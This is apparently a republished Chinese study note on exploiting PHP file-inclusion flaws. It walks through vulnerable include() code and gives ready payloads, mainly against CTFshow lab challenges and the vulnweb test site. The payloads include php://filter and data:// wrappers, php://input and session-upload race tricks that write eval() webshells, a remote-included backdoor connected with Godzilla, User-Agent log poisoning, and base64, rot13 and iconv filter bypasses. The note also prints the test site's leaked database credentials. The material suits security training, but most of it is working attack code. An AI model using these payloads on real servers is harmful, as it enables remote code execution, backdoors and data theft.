赞
踩
1、文件包含-原理&分类&危害-LFI&RFI
2、文件包含-利用-黑白盒&无文件&伪协议
➢文件包含-原理&分类&利用&修复
➢黑盒利用-VULWEB-有无包含文件
➢白盒利用-CTFSHOW-伪协议玩法
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,
直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。
在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞
文件包含 包含的文件就被当做当前脚本语言去代码执行了
漏洞原因:
1、使用文件包含函数
2、包含的文件可控
漏洞简单复现:
创建include.php文件,代码**include($_GET['file']);
:使用include
函数来包$_GET['file']
,这是危险的做法,因为用户可以通过修改URL参数传递恶意文件路径,导致安全漏洞。**
创建2.txt,代码内容<?php phpinfo();?>
访问对应文件路径,并传递参数http://192.168.137.1:84/include.php?file=2.txt
相当于include('2.txt');
漏洞分类:
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI
差异原因:代码过滤和环境配置文件开关决定
找到对应的小皮PHP设置中的远程包含并开启或者在对应==网址服务的PHP版本下找到php.ini文件,并将allow_url_include=Off改为On即可==
通过远程服务,创建file.txt内容为<?php phpinfo();?>
,并使用远程包含,将对应文件地址替换为远程创建的文件的ip访问地址即可
白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
php://input与data://都需要开启allow_url_include才能使用
参考:https://blog.csdn.net/unexpectedthing/article/details/121276653
文件读取:
file:///etc/passwd
这个示例尝试读取系统中的/etc/passwd文件。在类Unix系统上,这是包含用户帐户信息的文件。
php://filter/read=convert.base64-encode/resource=phpinfo.php
这个示例尝试读取名为 phpinfo.php 的文件,并将其内容以base64编码的形式返回。
文件写入:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
成功写入文件并可以访问执行**file_put_contents($_GET['file'],$_POST['content']);
使用该方式执行文件写入,必须要在代码中有这个才可以**$_GET['file']
: 通过GET请求传递的**file
**参数,用于指定要写入内容的文件路径。这可能包含相对或绝对路径,具体取决于如何使用该代码$_POST['content']
: 通过POST请求传递的**content
**参数,用于指定要写入到文件中的内容。这是用户提供的数据,可以是任何字符串。php://filter/write=convert.base64-encode/resource=phpinfo.php
这个示例尝试将base64编码的内容写入名为 phpinfo.php 的文件中。
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
这个示例通过php://input伪协议,尝试通过POST请求将一个PHP脚本写入名为 shell.php 的文件中。
该脚本是一个简单的 PHP Webshell,允许通过URL参数执行任意代码
代码执行:
http://192.168.137.1:84/include.php**?file=php://input
** 在Post data中写入<?php phpinfo();?>
<[http://192.168.137.1:84/include.php?file=data://text/plain,<?php](http://192.168.137.1:84/include.php?file=data://text/plain,%3C?php)> phpinfo();?>
使用data代码执行,直接在data后面跟上想要执行的代码即可
http://192.168.137.1:84/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B
php://input POST:<?php phpinfo();?>
这个示例通过php://input伪协议,尝试通过POST请求执行 phpinfo() 函数。
data://text/plain,<?php phpinfo();?>
这个示例尝试通过 data:// 伪协议执行 phpinfo() 函数。
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这个示例使用 data:// 伪协议,通过base64编码的方式执行 phpinfo() 函数。
直接搭建一个可访问的远程URL包含文件
找到对应的小皮PHP设置中的远程包含并开启或者在对应==网址服务的PHP版本下找到php.ini文件,并将allow_url_include=Off改为On即可==
通过远程服务,创建file.txt内容为<?php eval($_POST["pass"]);?>
,并使用远程包含,将对应文件地址替换为远程创建的文件的ip访问地址即可
通过哥斯拉连接后门,成功获取权限
http://testphp.vulnweb.com/showimage.php?file=index.php
发现数据包存在文件包含和替换的关键词?file=showimage.php
访问该页面,并尝试抓取数据包,替换file
后的文件名如:index.php
发现回显出index.php源码,暴露出数据库配置文件database_connect.php
将文件再次替换为==数据库配置文件 ,并发送数据包,发现得到数据库隐私数据库名和密码等信息==
**<?PHP
$connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')
or die('Website is out of order. Please visit back later. Thank you for understanding.');**
mysql_select_db('acuart', $connection)
or die('Website is out of order. Please visit back later. Thank you for understanding.');
?>
打开官网,选择对应的题目web入门
选择78题,启动靶场
php://filter/read=convert.base64-encode/resource=flag.php
读取名为flag.php的文件(当前网址存放源码目录下)**,并将其内容以base64编码的形式返回,并通过解密拿到flag。?file=data://text/plain,<?php system('ls');?>
可以获取当前目录文件发现有一个flag.php?file=data://text/plain,<?php system('tac flag.php');?>
即可读取flag.php的中的内容。
system
函数执行tac
命令,该命令用于反向输出文件内容(以行为单位)。在这里,它尝试反向输出flag.php
文件的内容。如果flag.php
**文件存在并可读,那么该文件的内容将被反向显示。payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
<?= ... ?>
是短标签(short tags)的一种形式,用于简洁地输出内容,等同于 <?php echo ... ?>
。而 <?php ... ?>
是标准的PHP起始和结束标记。?file=data://text/plain,**<?=system('ls');?>**
可以获取当前目录文件发现有一个flag.php?file=data://text/plain,**<?=system('tac flag*');?>**
即可读取flag.php的中的内容。成功获取到flagdata://
)和base64编码的方式,将PHP代码嵌入URL中
PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
代码给出include文件包含的关键词
由于是无文件上传,所以使用无文件支持伪协议利用
发现对与文件名做了php关键词和data关键词过滤
两种方式:
第一种,使用文件执行PHP://input,并使用大小写绕过其对php的过滤
**?file=PHP://input POST data:<?=system('ls');?>
**中写上对应的去掉PHP关键词php语句即可
?file=PHP://input POST data:<?=system('tac fl0g.*');?>
中写上对应的去掉PHP关键词php语句,和文件匹配的后缀,更改为*号
成功拿到flag
第二种使用==日志记录文件包含,利用日志记录UA信息,UA带入代码==
file:///var/log/nginx/access.log
,读取对应的日志文件内容(绝对路径),成功读取User-Agent: 222222222<?php=system('ls')?>
并发送数据包,成功写入==,并被解析fl0g.php index.php==User-Agent: 333333333<?php system('tac fl0g.php')?>
并发送数据包,成功写入,并被解析$flag="ctfshow{56017f9c-6037-4f27-bd84-ed6bffd417fa}自定义session名字,条件竞争访问session文件,触发创建新文件
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:**/tmp/sess_flag**,我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见
保以下配置项在 php.ini 文件中已启用:
session.upload_progress.enabled = On
使用 PHP_SESSION_UPLOAD_PROGRESS
时,通常会在上传表单中添加一个隐藏字段,将这个会话变量的值传递给服务器,以便服务器能够跟踪上传的进度。在你提供的HTML代码中,就有一个用于设置 PHP_SESSION_UPLOAD_PROGRESS
值的隐藏字段。
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
在本地创建文件上传代码如下,并将==上传URL更改为对应的靶场网址==
<!DOCTYPE html>
<html>
<body>
<form action="[http://xxxx.ctf.show/](http://xxxx.ctf.show/)" method="POST" enctype="multipart/form-data">
**<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />**
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
运行创建的网址,并随意上传文件,通过burp抓包,并加入Cookie: PHPSESSID=wusuowei,自定义Session ID
由于session.upload_progress.cleanup是开启的==,一旦读取了所有POST数据,就会清除进度信息==于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码。
利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
Post data:写入==content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg====
解码为<?php @eval($_POST[a]);?>(木马设置的密码为:a)
通过访问,创建木马文件123.php,http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php
并通过输入Post data:写入a=system(’ls’);(通过木马密码进行替换操作)
并通过输入Post data:写入a=system(‘tac fl0g.php’);
利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php
Post data:写入==content=<?cuc riny($_CBFG[1]);?>==
通过访问,创建木马文件2.php,http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/2.php
并通过输入Post data:写入1=system(’ls’);(通过木马密码进行替换操作)
并通过输入Post data:写入1=system(‘tac fl0g.php’);
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
将众多编码形式做了过滤包括 http
, https
, utf
, zlib
, data
, input
, rot13
, base64
, string
, log
, sess
,不区分大小写(i
标志)。
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
参考文章:
文件包含漏洞+php伪协议_文件包含漏洞伪协议利用-CSDN博客
<?php
/* 将字符串 '<?php eval($_POST[a]);?> 从 UCS-2LE 编码转换为 UCS-2BE 编码*/
$result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
//经过一次反转:?<hp pvela$(P_SO[T]a;)>?
// 将经过一次编码转换后的字符串再次从 UCS-2LE 编码转换为 UCS-2BE 编码
echo "经过第二次反转:".iconv("UCS-2LE", "UCS-2BE", $result);
//经过第二次反转:<?php eval($_POST[a]);?>
?>
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=**?<hp pvela$(P_SO[T]a;)>?
a.php
,http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.phpCopyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。